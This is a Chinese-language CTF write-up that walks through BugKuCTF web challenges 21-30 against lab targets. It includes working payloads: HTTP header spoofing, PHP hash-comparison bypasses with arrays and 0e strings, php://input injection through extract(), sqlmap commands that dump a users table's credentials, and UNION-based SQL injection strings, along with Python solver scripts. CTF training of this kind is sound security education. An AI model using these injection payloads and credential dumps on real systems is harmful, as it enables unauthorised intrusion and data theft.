BugKuCTF-WEB超详细解题思路(21-30)

发布时间:2026/8/12 20:19:13
BugKuCTF-WEB超详细解题思路(21-30) 本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录程序员本地网站你从哪里来前女友MD5各种绕过哟秋名山车神速度要快file_get_contentsSimple SQL injection成绩查询程序员本地网站题目信息打开靶场让我们从本地访问从本地访问的话直接将 IP 设置为 127.0.0.1 即可这里得用到bp添加一下X-Forwarded-For:127.0.0.1添加之后发送得到flag你从哪里来我从河南来~带着胡辣汤~题目信息打开靶场问我是否来自谷歌难不成我得用谷歌访问直接用bp搞一下不得了bp添加Referer: http://www.google.com好好好直接从谷歌来flag给我吧前女友我母胎solo20年哪来的前女友告诉我题目信息点开靶场呜呜呜很感动那我们就点一下链接吧发现下图代码?php if(isset($_GET[v1]) isset($_GET[v2]) isset($_GET[v3])){ $v1 $_GET[v1]; $v2 $_GET[v2]; $v3 $_GET[v3]; if($v1 ! $v2 md5($v1) md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?我们分析一下代码isset() 检查 isset() 函数用于检查 $_GET 请求中是否存在 v1、v2 和 v3 这三个参数。如果都存在则程序继续执行否则什么也不做。 获取 $_GET[v1]、$_GET[v2] 和 $_GET[v3] 的值并赋值给变量 $v1、$v2 和 $v3 检查 $v1 和 $v2 是否不同并且它们的 md5 哈希值是否相等。 $v1 ! $v2确保 $v1 和 $v2 是不同的字符串。 md5($v1) md5($v2)确保 $v1 和 $v2 的MD5哈希值相同。 这意味着用户需要找到两个不同的值经过 MD5 哈希后能得到相同的结果。这样的字符串对称问题是已知的哈希碰撞问题。这道题用MD5数组绕过构造payloadhttp://160.202.254.160:14784/?v1[]1ampv2[]2ampv3[]1呜呜呜找到flagMD5题目信息进入靶场让我放个a什么意思应该是输入参数a常规的0e绕过 QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a构造payloadhttp://160.202.254.160:14712/?as878926199a找到flag各种绕过哟题目信息进入靶场发现一堆php代码?php highlight_file(flag.php); $_GET[id] urldecode($_GET[id]); $flag flag{xxxxxxxxxxxxxxxxxx}; if (isset($_GET[uname]) and isset($_POST[passwd])) { if ($_GET[uname] $_POST[passwd]) ​ • print passwd can not be uname.; ​ else if (sha1($_GET[uname]) sha1($_POST[passwd])($_GET[id]margin)) ​ • die(Flag: .$flag); ​ else ​ • print sorry!; ​ } ?代码逻辑拆解输入方式组合要求必须同时用GET传uname用POST传passwd。第一次拦击判断$_GET[uname] $_POST[passwd]。如果相等直接报错退出。核心胜利条件sha1($_GET[uname]) sha1($_POST[passwd])且$_GET[id] margin。迷惑性操作$_GET[id] urldecode($_GET[id]);增加了 URL 双编码的可能性但直接传字面值也能过。构造一下payload找到flag构造原理第一层避开uname和passwd相等的拦截源码中的第一道判断是if ($_GET[uname] $_POST[passwd])。你 GET 传的是数组uname[]1POST 传的是数组passwd[]2原理PHP 比较两个数组时会比对里面的元素值。因为1 ! 2所以[1] [2]判定为False。成功绕过(这比上一个案例里两边都传1要更加稳定因为如果两边都是1有些 PHP 环境会认为数组相等从而被拦截)。第二层利用sha1()数组特性进行二次绕行进入else if后校验是sha1($uname) sha1($passwd)。这里用的是严格全等不能再用0e科学计数法了。原理核心考点在 PHP 7 及以前的版本中sha1()函数不接受数组。如果你传给它是数组它会直接报错并且返回NULL。结果sha1([1])返回NULLsha1([2])也返回NULL。变成了NULL NULL。在 PHP 中两个NULL严格全等是成立的返回True。这道关也被完美拿下第三层id参数校验最后要求$_GET[id] margin。你直接在 URL 里传了明文idmargin。补充说明关于代码里的urldecode源码里虽然多写了$_GET[id] urldecode($_GET[id]);但用明文margin直接传过去也能正常通过。如果你想更极限一点其实传id%6D%61%72%67%69%6Emargin的 URL 编码也能破因为经过一次解码后依然会变成margin。秋名山车神题目信息进入靶场毫无思路找到大佬的python代码import requests # 引入网络请求库 import re # 引入正则分析库 session requests.Session() # 创建一个会话对象用于保存携带 cookies用于发起多次请求而不丢失 cookies可以让后台从 cookies 取出它的判断标识字符串从而判断我们第二次 post 提交过去的数据和他生成的计算结果是否一致 response session.get(http://160.202.254.160:19193/) # 发起一次 get 请求获取首页内容 response.encoding utf-8 # 设置响应编码为 utf-8用于正确解析中文 pattern div(.*?)\?;/div # 定义一个正则表达式用于匹配隐藏的 div 元素 \? 代表匹配 ? 这个字符这里需要懂一点点正则表达式提取 div 之间的内容.*? 代表匹配任意字符多次并提取这部分到?; 这个位置 matches re.findall(pattern, response.text, re.DOTALL) # 用正则表达式匹配首页内容re.DOTALL 代表匹配任意字符包括换行符 num eval(matches[0]) # 每个步骤可以 print 变量打印运行下看值再写下一步发现 matches 是数组第 0 个元素就是网页那一串计算的表达式eval() 是执行表达式计算拿到结果给 num 变量 print(num) # 打印下确认看看 # 发起一次 post 请求并传递 value 参数并打印返回结果 data 是固定名字的后面跟上题目让传递的参数名和你计算好的结果值 response2 session.post(http://160.202.254.160:19193/, data{ value: num }) response2.encoding utf-8 print(response2.text) # 打印 post 提交计算后返回的内容直接搞到flag速度要快题目信息打开页面让我再快些查看源代码提示要以post方式提交一个参数margin接下来就要找margin的值为多少点击网络发送请求发现flag解个码吧继续解码得到值为668253应该就是margin的值了还是不行。但是用hackbar发送post请求后没有得到flag所以必须在同一会话内、极短时间内发送 POST 请求提交margin参数最终 flag 会在 POST 响应体中返回找了个大佬的脚本解一下import requests import base64 ​ # 题目目标地址 ​ url http://160.202.254.160:11983/ ​ # 用同一个会话保持Cookie/上下文一致避免跨请求失效 ​ session requests.Session() try: # 1. 发送GET请求获取响应头中的编码线索 get_response session.get(url, timeout5) get_response.raise_for_status() # 提取响应头中的base64编码字符串根据响应头字段名为flag encode_str get_response.headers.get(flag) if not encode_str: print(错误未在响应头中找到编码字符串请检查抓包确认字段名) exit() ​ # 2. 第一次base64解码获取明文提示和第二段编码 first_decode base64.b64decode(encode_str).decode(utf-8) print(f第一次解码结果{first_decode}) # 提取冒号后的第二段base64字符串二次解码得到margin值 second_encode first_decode.split(:)[-1].strip() margin_value base64.b64decode(second_encode).decode(utf-8) print(f提取到的margin值{margin_value}) # 3. 立即发送POST请求提交margin参数 post_data {margin: margin_value} post_response session.post(url, datapost_data, timeout5) post_response.raise_for_status() # 4. 输出最终结果获取flag print(\nPOST请求响应结果含最终flag) print(post_response.text.strip()) ​ except Exception as e: print(f执行出错{str(e)})大佬脚本果真好用得到flagfile_get_contents进入靶场看到一段php代码?php extract($_GET); // 1. 致命漏洞把 GET 参数直接解析成变量 if (!empty($ac)) // 2. 检查变量 $ac 是否为空 { $f trim(file_get_contents($fn)); // 3. 读取 $fn 指向的文件内容 if ($ac $f) // 4. 必须严格全等类型内容完全一致 { echo pThis is flag: . $flag . /p; // 5. 输出 $flag } else echo psorry!/p; } ?第1步extract($_GET);PHP 提取 URL 中的参数把它变成变量 此时系统内部$ac 1$fn php://input第2步if (!empty($ac))因为$ac是字符串1不为空。条件成立进入下一步。第3步$f trim(file_get_contents($fn));这是最核心的一步当$fn的值是字符串php://input时file_get_contents这个函数不会去读硬盘上的文件而是去读取当前 HTTP 请求的原始 POST Body即网页下方的 POST 数据。 因为你填写的 POST Body 是1所以函数读取到的内容也是字符1。 经过trim()去空格最终 此时系统内部$f 1第4步if ($ac $f)现在我们对比两个变量$ac是字符串1$f也是字符串1使用全等比较要求值和数据类型必须完全一样。显然1 1返回True。第5步echo ... $flag ...代码成功进入输出分支。找到flagSimple SQL injection题目信息进入靶场直接用万能账号密码随便填 or 1 1--okflag到手开玩笑那么简单?对就是那么简单咱们用sqlmap搞一下python sqlmap.py http://160.202.254.160:11141/article?id1 --batchSQLite 无「数据库」概念只有单个文件直接枚举所有表。枚举 users 表的所有字段python sqlmap.py -u http://160.202.254.160:11141/article?id1 --batch -T users --columns直接提取 users 表中 username 和 password 字段的所有数据python sqlmap.py -u http://160.202.254.160:11141/article?id1 --batch -T users -C username,password --dump登录一下找到flag成绩查询题目信息进入靶场让我查成绩进行注入输入1有回显输入1无回显可知存在字符型注入。用order by 来确定列数。可以发现当输入1 order by 4 -- 有回显而1 order by 5 -- 无回显确定查询列数为4即后面的select 语句要有四个参数。确定好参数我们就可以来查询数据库 里的表名了这里要注意的是我们要采用-1来闭合主要是为了让回显处能显示我们的查询语句返回值-1union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schemadatabase() --可以得到fl4g,sc两张表明显我们所需的表应该是fl4g然后获取表中的所有字段(不知道为啥需要用# --用不了)-1 union select 1,2,3,group_concat(column_name)from information_schema.columns where table_namefl4g#得到字段名后就可以得到flag了-1 union select 1,2,3,group_concat(skctf_flag)from skctf.fl4g#